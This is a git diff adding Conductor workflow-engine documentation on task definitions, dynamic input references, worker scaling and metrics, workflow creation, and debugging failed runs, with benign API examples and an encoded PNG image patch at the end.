facilitate parallel execution of tasks. The Fork task executes a predetermined number of forks, while the Dynamic Fork executes a variable number of forks at runtime. + +If each fork must run a different set of tasks, it is best to use the Fork task, because Dynamic Forks can only run the same task for all its forks. + + +### Dynamic vs Switch tasks + +Both the [Switch](../../../documentation/configuration/workflowdef/operators/switch-task.md) task and the [Dynamic](../../../documentation/configuration/workflowdef/operators/dynamic-task.md) task are useful in situations when the specific task to run is determined only at runtime. Using the Switch task allows you to easily predefine and set the specific conditions for each switch case, while using the Dynamic task allows to to mark a dynamic point in the workflow without having to pre-set all the case options into the workflow definition beforehand. + +In the workflow diagram, the Dynamic task will produce a more simplified view, as it will only display the selected task. Meanwhile, the Switch task will produce a more comprehensive view that shows all possible paths that the workflow could have taken. + +Here are some scenarios for deciding between a Dynamic task and a Switch task: + + +| Scenario | Task to Use | +| -------------------------- | ----------------------------------------- | +| You have a huge number of case options or the specific case options are not yet determined. | Dynamic | +| You need a default case option. | Switch | +| Each case option involves multiple tasks. | Switch | +| The conditions for each switch case is relatively straightforward. | Switch | +| The conditions for each switch case is constantly changing, or requires more complicated logic. | Dynamic | + +If you opt for the Dynamic task, you must set up the control flow for how the task to run will be determined at runtime. For example, using a preceding task that must pass the task name into the Dynamic task. + diff --git a/docs/devguide/how-tos/Tasks/creating-tasks.md b/docs/devguide/how-tos/Tasks/creating-tasks.md new file mode 100644 index 0000000..9ae6928 --- /dev/null +++ b/docs/devguide/how-tos/Tasks/creating-tasks.md @@ -0,0 +1,128 @@ +--- +description: "Create and update task definitions in Conductor to configure timeouts, retries, rate limits, and input templates for worker and system tasks." +--- + +# Creating / Updating Task Definitions + +A [task definition](../../../documentation/configuration/taskdef.md) specifies a task’s general implementation details: + +- Timeout policy +- Retry logic +- Rate limit and execution limit +- Input/output keys +- Input template + +This definition applies to all instances of the task across workflows. + +You can create task definitions using the Conductor UI or APIs for the following scenarios: + +- **Worker tasks**—All Worker tasks (`SIMPLE`) must be registered to the Conductor server as a task definition before it can execute in a workflow. +- **System tasks**—System tasks don't require a task definition, but you can create one with the same name to customize retry, timeout, and rate limit behavior. + +## Using Conductor UI + +With the UI, you can create or update task definitions visually. + +### Creating task definitions + +**To create a task definition:** + +1. In [**Executions** > **Tasks**](http://localhost:8080/taskDefs), select **+ New Task Definition**. +2. Configure the task definition JSON. Refer to [Task Definitions](../../../documentation/configuration/taskdef.md) for the full parameters. +3. Select **Save** > **Save**. + +### Updating task definitions + +**To update a task definition:** + +1. In [**Executions** > **Tasks**](http://localhost:8080/taskDefs), select the task definition to be updated. +2. Modify the task definition JSON. Refer to [Task Definitions](../../../documentation/configuration/taskdef.md) for the full parameters. +3. Select **Save** > **Save**. + +## Using the CLI + +You can create task definitions using the Conductor CLI. Save your task definitions to a JSON file and run: + +```bash +conductor task create tasks.json +``` + +The file should contain an array of task definitions. Refer to [Task Definitions](../../../documentation/configuration/taskdef.md) for a reference guide on the full parameters. + +## Using APIs + +Refer to [Task Definitions](../../../documentation/configuration/taskdef.md) for a reference guide on the full parameters. + +### Creating task definitions + +You can also create task definitions using the Create Task Definition API (`POST api/metadata/taskdefs`). The API accepts an array of task definitions, allowing you to create them in bulk. + +??? note "Example using cURL" + ```shell + curl '{{ server_host }}/api/metadata/taskdefs' \ + -H 'accept: */*' \ + -H 'content-type: application/json' \ + --data-raw '[{"createdBy":"user","name":"sample_task_name_1","description":"This is a sample task for demo","responseTimeoutSeconds":10,"timeoutSeconds":30,"inputKeys":[],"outputKeys":[],"timeoutPolicy":"TIME_OUT_WF","retryCount":3,"retryLogic":"FIXED","retryDelaySeconds":5,"inputTemplate":{},"rateLimitPerFrequency":0,"rateLimitFrequencyInSeconds":1}]' + ``` + + +### Updating task definitions + +You can update task definitions using the Update Task Definition API (`PUT api/metadata/taskdefs`). This API can only be used to update a single task definition at a time. + +??? note "Example using cURL" + ```shell + curl '{{ server_host }}/api/metadata/taskdefs' \ + -X 'PUT' \ + -H 'accept: */*' \ + -H 'content-type: application/json' \ + --data-raw '{"createdBy":"user","name":"sample_task_name_1","description":"This is a sample task for demo","responseTimeoutSeconds":10,"timeoutSeconds":30,"inputKeys":[],"outputKeys":[],"timeoutPolicy":"TIME_OUT_WF","retryCount":3,"retryLogic":"FIXED","retryDelaySeconds":5,"inputTemplate":{},"rateLimitPerFrequency":0,"rateLimitFrequencyInSeconds":1}' + ``` + + +## Using SDKs + +Conductor offers client SDKs for popular languages which have library methods for making the API call. Refer to the SDK documentation to configure a client in your selected language to create or update task definitions. + +Refer to [Task Definitions](../../../documentation/configuration/taskdef.md) for a reference guide on the full parameters. + +### Creating task definitions - Example using JavaScript + +In this example, the JavaScript Fetch API is used to create the task definition `sample_task_name_1`. + +```javascript +fetch("{{ server_host }}/api/metadata/taskdefs", { + "headers": { + "accept": "*/*", + "content-type": "application/json", + }, + "body": "[{\"createdBy\":\"user\",\"name\":\"sample_task_name_1\",\"description\":\"This is a sample task for demo\",\"responseTimeoutSeconds\":10,\"timeoutSeconds\":30,\"inputKeys\":[],\"outputKeys\":[],\"timeoutPolicy\":\"TIME_OUT_WF\",\"retryCount\":3,\"retryLogic\":\"FIXED\",\"retryDelaySeconds\":5,\"inputTemplate\":{},\"rateLimitPerFrequency\":0,\"rateLimitFrequencyInSeconds\":1}]", + "method": "POST" +}); +``` + + +### Updating task definitions - Example using JavaScript + +In this example, the JavaScript Fetch API is used to update the task definition `sample_task_name_1`. + +```javascript +fetch("{{ server_host }}/api/metadata/taskdefs", { + "headers": { + "accept": "*/*", + "content-type": "application/json", + }, + "body": "{\"createdBy\":\"user\",\"name\":\"sample_task_name_1\",\"description\":\"This is a sample task for demo\",\"responseTimeoutSeconds\":10,\"timeoutSeconds\":30,\"inputKeys\":[],\"outputKeys\":[],\"timeoutPolicy\":\"TIME_OUT_WF\",\"retryCount\":3,\"retryLogic\":\"FIXED\",\"retryDelaySeconds\":5,\"inputTemplate\":{},\"rateLimitPerFrequency\":0,\"rateLimitFrequencyInSeconds\":1}", + "method": "PUT" +}); +``` + + +## Reusing tasks + +Once a task is defined in Conductor, it can be reused numerous times: + +- **In the same workflow** — use the same task with different task reference names. +- **Across workflows** — any workflow can reference any registered task definition. + +When reusing tasks in a multi-tenant system, all work assigned to a task goes into the same queue by default. If a noisy neighbor causes polling delays, you can scale up the number of workers or use [task-to-domain](../../../documentation/api/taskdomains.md) to route task load into separate queues. \ No newline at end of file diff --git a/docs/devguide/how-tos/Tasks/task-inputs.md b/docs/devguide/how-tos/Tasks/task-inputs.md new file mode 100644 index 0000000..44a46b0 --- /dev/null +++ b/docs/devguide/how-tos/Tasks/task-inputs.md @@ -0,0 +1,314 @@ +--- +description: "Wire task inputs in Conductor workflows — reference workflow inputs, task outputs, and variables using dynamic expressions in this open source workflow orchestration engine." +--- + +# Wiring Task Inputs + +In Conductor, task inputs can be provided in the workflow definition in multiple ways: + +- As a hard-coded value – +``` +"taskInputA": true +``` +- As a dynamic reference to the workflow inputs, workflow variables, or the inputs/outputs of prior tasks – +``` +"taskInputA": "${workflow.input.someValue} +``` + +## Syntax for dynamic references + +All dynamic references are formatted as the following expression: + +``` +"${type.jsonpath}" +``` + +These dynamic references are formatted as dot-notation expressions, taking after [JSONPath syntax](https://goessner.net/articles/JsonPath/). + +| Component | Description | +| -------------------- | ----------------------------------------------------------------------------------------------------- | +| `${...}` | The root notation indicating that the variable will be dynamically replaced at runtime. | +| type | The type of reference. Supported values:
    • **workflow**—Refers to the current workflow instance.
    • **workflow.input**—Refers to the workflow’s input parameters.
    • **workflow.output**—Refers to the workflow’s output parameters.
    • **workflow.variables**—Refers to the workflow variables set in the workflow using the [Set Variable](../../../documentation/configuration/workflowdef/operators/set-variable-task.md) task.
    • **_taskReferenceName_**—Refers to a task in the current workflow instance by its reference name. (For example, “http_ref”).
    • **_taskReferenceName_.input**—Refers to the task’s input parameters.
    • **_taskReferenceName_.output**—Refers to the task’s output parameters.
    | +| jsonpath | The [JSONPath](https://goessner.net/articles/JsonPath/) expression in dot-notation. | + + +### Sample expressions + +Here is a non-exhaustive list of dynamic references you can use: + +- To reference a task’s input payload – +``` +${.input} +``` +- To reference a task’s output payload – +``` +${.output} +``` +- To reference a task’s input parameter – +``` +${.input.} +``` +- To reference a task’s output parameter – +``` +${.output.} +``` +- To reference the workflow's input payload – +``` +${workflow.input} +``` +- To reference the workflow's output payload – +``` +${workflow.output} +``` +- To reference the workflow's input parameter – +``` +${workflow.input.} +``` +- To reference the workflow's output parameter – +``` +${workflow.output.} +``` +- To reference the workflow's current status (RUNNING, PAUSED, TIMED_OUT, TERMINATED, FAILED, or COMPLETED) – +``` +${workflow.status} +``` +- To reference the workflow's (execution) ID – +``` +${workflow.workflowId} +``` +- (Used in sub-workflows) To reference the parent workflow (execution) ID – +``` +${workflow.parentWorkflowId} +``` +- (Used in sub-workflows) To reference the task execution ID for the Sub Workflow task in the parent workflow – +``` +${workflow.parentWorkflowTaskId} +``` +- To reference the workflow's name – +``` +${workflow.workflowType} +``` +- To reference the workflow's version – +``` +${workflow.version} +``` +- To reference the start time of the workflow execution – +``` +${workflow.createTime} +``` +- To reference the workflow's correlation ID – +``` +${workflow.correlationId} +``` +- To reference the workflow’s domain name that was invoked during its execution – +``` +${workflow.taskToDomain.} +``` +- To reference the workflow's variable created using the Set Variable task – +``` +${workflow.variables.} +``` + + +## Examples + +Here are some examples for using dynamic references in workflows. + +
    +Referencing workflow inputs​​ + +For the given workflow input: + +```json +{ + "userID": 1, + "userName": "SAMPLE", + "userDetails": { + "country": "nestedValue", + "age": 50 + } +} +``` + +You can reference these workflow inputs elsewhere using the following expressions: + +```json +{ + "user": "${workflow.input.userName}", + "userAge": "${workflow.input.userDetails.age}" +} +``` + +At runtime, the parameters will be: + +```json +{ + "user": "SAMPLE", + "userAge": 50 +} +``` + +
    + +
    +Referencing other task outputs​​ + +If a task previousTaskReference produced the following output: + +```json +{ + "taxZone": "A", + "productDetails": { + "nestedKey1": "outputValue-1", + "nestedKey2": "outputValue-2" + } +} +``` + +You can reference these task outputs elsewhere using the following expressions: + +```json +{ + "nextTaskInput1": "${previousTaskReference.output.taxZone}", + "nextTaskInput2": "${previousTaskReference.output.productDetails.nestedKey1}" +} +``` + +At runtime, the parameters will be: + +```json +{ + "nextTaskInput1": "A", + "nextTaskInput2": "outputValue-1" +} +``` + +
    + +
    +Referencing workflow variables + +If a workflow variable is set using the Set Variable task: + +```json +{ + "name": "Ipsum" +} +``` + +The variable can be referenced in the same workflow using the following expression: + +```json +{ + "user": "${workflow.variables.name}" +} +``` + +Note: Workflow variables cannot be re-referenced across workflows, even between a parent workflow and a sub-workflow. + +
    + + +
    +Referencing data between parent workflow and sub-workflow​ + +To pass parameters from a parent workflow into its sub-workflow, you must declare them as input parameters for the Sub Workflow task. If needed, these inputs can then be set as workflow variables within the sub-workflow definition itself using a Set Variable task. + +``` +// parent workflow definition with task configuration + +{ + "createTime": 1733980872607, + "updateTime": 0, + "name": "testParent", + "description": "workflow with subworkflow", + "version": 1, + "tasks": [ + { + "name": "get_item", + "taskReferenceName": "get_item_ref", + "inputParameters": { + "uri": "https://example.com/api", + "method": "GET", + "accept": "application/json", + "contentType": "application/json", + "encode": true + }, + "type": "HTTP", + }, + { + "name": "sub_workflow", + "taskReferenceName": "sub_workflow_ref", + "inputParameters": { + "user": "${workflow.variables.name}", + "item": "${previous_task_ref.output.item[0]}" + }, + "type": "SUB_WORKFLOW", + "subWorkflowParam": { + "name": "testSub", + "version": 1 + } + } + ], + "inputParameters": [], + "outputParameters": {} +} +``` + + +To pass parameters from a sub-workflow back to its parent workflow, you must pass them as the sub-workflow’s output parameters in the sub-workflow definition. + +``` +// sub-workflow definition + +{ + "createTime": 1726651838873, + "updateTime": 1733983507294, + "name": "testSub", + "description": "subworkflow for parent workflow", + "version": 1, + "tasks": [ + { + "name": "get-user", + "taskReferenceName": "get-user_ref", + "inputParameters": { + "uri": "https://example.com/api", + "method": "GET", + "accept": "application/json", + "contentType": "application/json", + "encode": true + }, + "type": "HTTP", + }, + { + "name": "send-notification", + "taskReferenceName": "send-notification_ref", + "inputParameters": { + "uri": "https://example.com/api", + "method": "GET", + "accept": "application/json", + "contentType": "application/json", + "encode": true + }, + "type": "HTTP", + } + ], + "inputParameters": [], + "outputParameters": { + "location": "${get-user_ref.output.response.body.results[0].location.country}", + "isNotif": "${send-notification_ref.output}" + } +} +``` + +In the parent workflow, these sub-workflow outputs can be referenced using the expression format `${.output.}`. + +
    + + +## Troubleshooting + +You can verify if the data was passed correctly by checking the input/output values of the task execution in the UI. Common errors: + +- If the reference expression is incorrectly formatted, the referencing parameter value may end up with the wrong data or a null value. +- If the referenced value (such as a task output) has not resolved at the point when it is referenced, the referencing parameter value will be null. \ No newline at end of file diff --git a/docs/devguide/how-tos/Workers/scaling-workers.md b/docs/devguide/how-tos/Workers/scaling-workers.md new file mode 100644 index 0000000..5359623 --- /dev/null +++ b/docs/devguide/how-tos/Workers/scaling-workers.md @@ -0,0 +1,140 @@ +--- +description: "Monitor task queues and scale Conductor workers — queue depth, poll data, Prometheus metrics, autoscaling policies, and performance tuning." +--- + +# Scaling Task Workers + +Workers execute business logic outside the Conductor server. Keeping them healthy requires two things: **monitoring** queue and worker state, and **scaling** based on what the data tells you. + + +## Monitoring task queues + +Conductor tracks queue size and worker poll activity for every task type. Use this data to detect backlogs, stalled workers, and capacity issues. + +### Using the UI + +Navigate to **Home > Task Queues** (or `/taskQueue`). For each task, the UI shows: + +- **Queue Size** — tasks waiting to be picked up. +- **Workers** — count and instance details of workers polling this task. + +### Using the CLI + +```bash +# List all tasks with queue info +conductor task list + +# Get details for a specific task +conductor task get +``` + +### Using APIs + +Get the number of tasks waiting in a queue: + +```shell +curl '{{ server_host }}{{ api_prefix }}/tasks/queue/sizes?taskType=' \ + -H 'accept: */*' +``` + +Get worker poll data (which workers are polling, last poll time): + +```shell +curl '{{ server_host }}{{ api_prefix }}/tasks/queue/polldata?taskType=' \ + -H 'accept: */*' +``` + +!!! note + Replace `` with your task name. + + +## Prometheus metrics + +Conductor publishes metrics that feed dashboards, alerts, and autoscaling policies. All metrics include `taskType` as a tag so you can monitor per-task. + +### Queue depth (Gauge) + +```promql +max(task_queue_depth{taskType="my_task"}) +``` + +- Keep queue depth stable. It doesn't need to be zero (especially for long-running tasks), but sustained growth means workers can't keep up. +- Alert on queue depth increasing over a sustained period and use it to trigger autoscaling. + +### Task completion rate (Counter) + +```promql +rate(task_completed_seconds_count{taskType="my_task"}[$__rate_interval]) +``` + +- Measures throughput — tasks completed per second. +- A sudden drop indicates workers are struggling, failing, or have stopped polling. +- Set a minimum throughput threshold and alert when it drops below. + +### Queue wait time + +```promql +max(task_queue_wait_time_seconds{quantile="0.99", taskType="my_task"}) +``` + +How long tasks sit in the queue before a worker picks them up. If this is more than a few seconds: + +1. **Check worker count** — if all workers are busy, add more instances. +2. **Check polling interval** — reduce it if workers aren't polling frequently enough. + +!!! warning + Reducing the polling interval increases API requests to the server. Balance responsiveness against server load. + + +## Scaling strategies + +### When to scale + +| Signal | Action | +|---|---| +| Queue depth growing steadily | Add worker instances | +| Queue wait time > 5s at p99 | Add worker instances or reduce polling interval | +| Throughput dropping while queue grows | Investigate worker health (CPU, memory, downstream dependencies) | +| Queue consistently empty, workers idle | Scale down to save resources | + +### Horizontal scaling + +Add more worker instances. Conductor distributes tasks automatically — every worker polling the same task type competes for work from the same queue. No configuration changes needed on the Conductor server. + +### Polling interval tuning + +The polling interval controls how frequently workers check for new tasks. Shorter intervals mean lower latency but higher server load. + +| Scenario | Recommended interval | +|---|---| +| Latency-sensitive tasks | 100–500ms | +| Standard processing | 1–5s | +| Batch / background work | 5–30s | + +### Thread pool sizing + +Each worker instance can run multiple polling threads. A good starting point: + +``` +threads = (task_throughput × avg_task_duration) / num_worker_instances +``` + +For I/O-bound tasks (HTTP calls, database queries), use more threads than CPU cores. For CPU-bound tasks, match thread count to available cores. + +### Rate limiting + +If downstream services have rate limits, configure task-level rate limits to prevent workers from overwhelming them: + +```json +{ + "name": "call_external_api", + "rateLimitPerFrequency": 100, + "rateLimitFrequencyInSeconds": 60 +} +``` + +This limits the task to 100 executions per 60-second window across all workers. + +### Domain isolation + +Use [task-to-domain](../../../documentation/api/taskdomains.md) to route tasks to specific worker pools. This prevents noisy neighbors — a high-volume workflow won't starve workers serving a latency-sensitive one. diff --git a/docs/devguide/how-tos/Workflows/creating-workflows.md b/docs/devguide/how-tos/Workflows/creating-workflows.md new file mode 100644 index 0000000..b4e777e --- /dev/null +++ b/docs/devguide/how-tos/Workflows/creating-workflows.md @@ -0,0 +1,78 @@ +--- +description: "Create and update workflow definitions in Conductor using the UI, CLI, REST APIs, or client SDKs. Supports versioning and JSON configuration." +--- + +# Creating / Updating Workflows + +You can create and update workflows using the Conductor UI, APIs, or SDKs. These workflows can be versioned, which is useful for [a variety of cases](versioning-workflows.md#when-to-version-workflows). + +If your workflow definition contains any new tasks, you must also register the task definitions to Conductor before running the workflow. + +## Using Conductor UI + +With the UI, you can create or update workflow definitions visually. + +### Creating workflows + +**To create a workflow definition:** + +1. In **[Definitions](http://localhost:8080/workflowDefs)**, select **+ New Workflow Definition**. +2. Configure the workflow definition JSON. Refer to [Workflow Definition](../../../documentation/configuration/workflowdef/index.md) for the reference guide on the full parameters. +3. Select **Save** > **Save**. + +### Updating workflows + +**To update a workflow definition:** + +1. In **[Definitions](http://localhost:8080/workflowDefs**)**, select the workflow to be updated. +2. Modify the workflow definition JSON. Refer to [Workflow Definition](../../../documentation/configuration/workflowdef/index.md) for the reference guide on the full parameters. +3. Select **Save**. The workflow version will automatically increment by 1. +4. (Optional) Clear the **Automatically set version** checkbox to save the updated workflow definition without creating a new version. +5. Select **Save** again to confirm. + + +## Using the CLI + +You can create or update workflow definitions using the Conductor CLI. Save your workflow definition to a JSON file and run: + +```bash +conductor workflow create workflow.json +``` + +Refer to [Workflow Definition](../../../documentation/configuration/workflowdef/index.md) for the reference guide on the full parameters. + +## Using APIs + +You can also create or update workflow definitions using the Update Workflow Definition API (`PUT api/metadata/workflow`). + +Refer to [Workflow Definition](../../../documentation/configuration/workflowdef/index.md) for the reference guide on the full parameters. + +??? note "Example using cURL" + ```shell + curl '{{ server_host }}/api/metadata/workflow' \ + -X 'PUT' \ + -H 'accept: */*' \ + -H 'content-type: application/json' \ + --data-raw '[{"name":"sample_workflow","description":"shipping","version":1,"tasks":[{"name":"ship_via","taskReferenceName":"ship_via","type":"SIMPLE","inputParameters":{"service":"${workflow.input.service}"}}],"inputParameters":["service"],"outputParameters":{},"schemaVersion":2, "ownerEmail": "example@email.com"}]' + ``` + +## Using SDKs + +Conductor offers client SDKs for popular languages which have library methods for making the API call. Refer to the SDK documentation to configure a client in your selected language to invoke workflow executions. + +Refer to [Workflow Definition](../../../documentation/configuration/workflowdef/index.md) for the reference guide on the full parameters. + +### Example using JavaScript + +In this example, the JavaScript Fetch API is used to create the workflow `sample_workflow`. + +```javascript +fetch("{{ server_host }}/api/metadata/workflow", { + "headers": { + "accept": "*/*", + "content-type": "application/json" + }, + "body": "[{\"name\":\"sample_workflow\",\"description\":\"shipping\",\"version\":1,\"tasks\":[{\"name\":\"ship_via\",\"taskReferenceName\":\"ship_via\",\"type\":\"SIMPLE\",\"inputParameters\":{\"service\":\"${workflow.input.service}\"}}],\"inputParameters\":[\"service\"],\"outputParameters\":{},\"schemaVersion\":2,\"ownerEmail\": \"example@email.com\"}]", + "method": "PUT" +}); +``` \ No newline at end of file diff --git a/docs/devguide/how-tos/Workflows/debugging-workflows.md b/docs/devguide/how-tos/Workflows/debugging-workflows.md new file mode 100644 index 0000000..81ea248 --- /dev/null +++ b/docs/devguide/how-tos/Workflows/debugging-workflows.md @@ -0,0 +1,61 @@ +--- +description: "Debugging Workflows — identify and resolve failed Conductor workflow executions using the UI diagram and task details." +--- +# Debugging Workflows + +The [workflow execution views](viewing-workflow-executions.md) in the Conductor UI are useful for debugging workflow issues. Learn how to debug failed executions and rerun them. + +## Debug procedure + +When you view the workflow execution details, the cause of the workflow failure will be stated at the top. Go to the **Tasks > Diagram** tab to quickly identify the failed task, which is marked in red. You can select the failed task to investigate the details of the failure. + +The following tab views or fields in the task details are useful for debugging: + +| Field or Tab Name | Description | +|-------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------| +| _Reason for Incompletion_ in **Task Detail** > **Summary** | Contains the exception message thrown by the task worker. | +| _Worker_ in **Task Detail** > **Summary** | Contains the worker instance ID where the failure occurred. Useful for digging up detailed logs, if it has not already captured by Conductor. | +| **Task Detail** > **Input** | Useful for verifying if the task inputs were correctly computed and provided to the task. | +| **Task Detail** > **Output** | Useful for verifying what the task produced as output. | +| **Task Detail** > **Logs** | Contains the task logs, if supplied by the task worker. | +| **Task Detail** > **Retried Task - Select an instance** | (If the task has been retried multiple times) Contains all retry attempts in a dropdown list. Each list item contains the task details for a particular attempt. | + + +![Debugging Workflow Execution](workflow_debugging.png) + +## Recovering from failure + +Once you have resolved the underlying issue for the execution failure, you can manually restart or retry the failed workflow execution using the Conductor UI or APIs. + +Here are the recovery options: + +| Recovery Action | Description | +|---------------------|----------------------------| +| Restart with Current Definitions | Restart the workflow from the beginning using the same workflow definition that was used in the original execution. This option is useful if the workflow definition has changed and you want to run the execution instance using the original definition. | +| Restart with Latest Definitions | Restart the workflow from the beginning using the latest workflow definition. This option is useful if changes were made to the workflow definition and you want to run the execution instance with the latest definition. | +| Rerun from a specific task | Re-execute the workflow from a specific task, reusing the outputs of all prior tasks. This option is useful when a task in the middle of the workflow failed and you want to fix and re-run it without re-executing everything before it. | +| Retry - From failed task | Retry the workflow from the last failed task. | + +!!! Note + You can set tasks to be retried automatically in case of transient failures. Refer to [Task Definition](../../../documentation/configuration/taskdef.md) for more information. + +### Using Conductor UI + +**To recover from failure**: + +1. In the workflow execution details page, select **Actions** in the top right corner. +2. Select one of the following options: + - Restart with Current Definitions + - Restart with Latest Definitions + - Rerun from a specific task + - Retry - From failed task + +### Using APIs + +You can restart workflow executions using the Restart Workflow API (`POST api/workflow/{workflowId}/restart`) or the Bulk Restart Workflow API (`POST api/workflow/bulk/restart`). + +You can rerun a workflow from a specific task using the Rerun Workflow API (`POST api/workflow/{workflowId}/rerun`) with a request body specifying the `reRunFromTaskId`. + +Likewise, you can retry workflow executions from the last failed task using the Retry Workflow API (`POST api/workflow/{workflowId}/retry`) or the Bulk Retry Workflow API (`POST api/workflow/bulk/retry`). + +All three recovery operations — restart, rerun, and retry — work on workflows in any terminal state (COMPLETED, FAILED, TIMED_OUT, TERMINATED) and are available indefinitely. Conductor preserves the full execution history, so you can replay any workflow even months after the original run. \ No newline at end of file diff --git a/docs/devguide/how-tos/Workflows/execution_path.png b/docs/devguide/how-tos/Workflows/execution_path.png new file mode 100644 index 0000000000000000000000000000000000000000..68aef54690f66e4f600426af2697ddcc03f40175 GIT binary patch literal 92649 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 